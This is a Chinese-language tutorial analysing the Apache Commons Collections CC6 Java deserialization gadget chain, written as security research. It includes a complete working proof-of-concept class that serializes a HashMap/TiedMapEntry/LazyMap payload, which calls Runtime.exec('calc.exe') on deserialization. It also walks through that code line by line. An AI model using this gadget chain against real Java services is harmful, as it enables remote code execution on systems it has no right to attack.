在Java 8u71以后,CC1链就不能在利用了,因为sun.reflect.annotation.AnnotationInvocationHandler这个类里面的readObject方法逻辑已经发生了改变。修改后的逻辑会把我们构造的Map重新put到LinkedHashMap里当中去,我们构造的反序列化链也随之失效。所以我们需要寻找一个新的类去去解决高版本无法利用问题,而CommonCollections6在commons-collections库里一个比较通用的链。
CC1链回顾
在之前CC1链利用LazyMap链构链中关键步骤就是触发LazyMap类里面的get方法,我们找到了sun.reflect.annotation.AnnotationInvocationHandler类利用对象代理去触发到了这个方法,现在AnnotationInvocationHandler类的readObject方法里的逻辑发生改变,所以现在需要重新寻找一个类去,那在CC6这条链中,这个类就是java.util.HashSet。
CC6链分析
我们看看java.util.HashSet这个类是怎么触发LazyMap类里面的get方法的
可以看到在HashSet类里的readObject方法里面调用了HashMap的put方法,跟进put
调用hash(key),跟进
调用key.hashCode(),且key是我们传进来的一个Object类,代码走到这,我们所要做的就是寻找一个类,这个类里面存在hashCode方法,且这个hashCode方法存在层层调用关系间接的去调用到LazyMap类里的get方法,然后我们把这个类当作key传到这里的hash方法中。这里找到的类就是org.apache.commons.collections.keyvalue.TiedMapEntry,来看看这个类的hashCode方法是怎么调用到LazyMap里的get方法的。
调用getValue,跟进
getValue里面调用到了map.get,且这里的map在构造器中可控,所以我们可以把LazyMap.decorate修饰过的Map传进来进而调用它的get方法,至此我们的整个链就可以走通了。
CC6的大致构造如上,具体POC还存在诸多细节,我们如下再逐行进行分析
先上POC
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class CC6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class }, new String[]{"calc.exe"}), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey"); Map expMap = new HashMap(); expMap.put(tme, "valuevalue"); outerMap.remove("keykey"); Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers); // ================== // ⽣成序列化字符串 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); // 本地测试触发 System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
这是P牛的Java安全漫谈里简化的CC6链,其对ysoserial原链⽤ java.util.HashSet.readObject 到 HashMap.put() 到 HashMap.hash(key)做了简化,原因是在java.util.HashMap.readObject方法里就可以找到HashMap.hash()方法的调用,所以省略了ysoserial链里的前两次调用。
代码的第16-38行,先创建了一个fakeTransformers,先把fakeTransformers给放到构造链中,这里的目的是为了防止本地生成序列化流的时候执行到命令,所以先创建了一个无害的数组放进去,最后通过反射来把真正有害的数组再加入进去。其他和CC1链一致,具体构造原理参考CC1链
代码第40行
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
这里把我们构造好的outerMap通过构造器赋值给TiedMapEntry类的map属性
代码的第42-43行
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
创建了一个HashMap,然后把tme当作key传进去,从而在HashMap的readObject方法里会通过层层调用执行key.hashCode()
这里的key是TiedMapEntry,所以调用TiedMapEntry.hashCod,然后调用之前分析的如下链
TiedMapEntry.hashCod-->TiedMapEntry.getValue
再调用
这里的map就已经是我们构造的outerMap,之后的调用就是CC1链分析过的了,这里就不再叙述了。
另外代码的45行
outerMap.remove("keykey");
这里存在一个缓存机制,当不移除keykey的时候,由于缓存机制的存在,如下的一层if进不去,导致transform不执行
所以我们需要把这个keykey进行移除,进入到这个transform,最终执行命令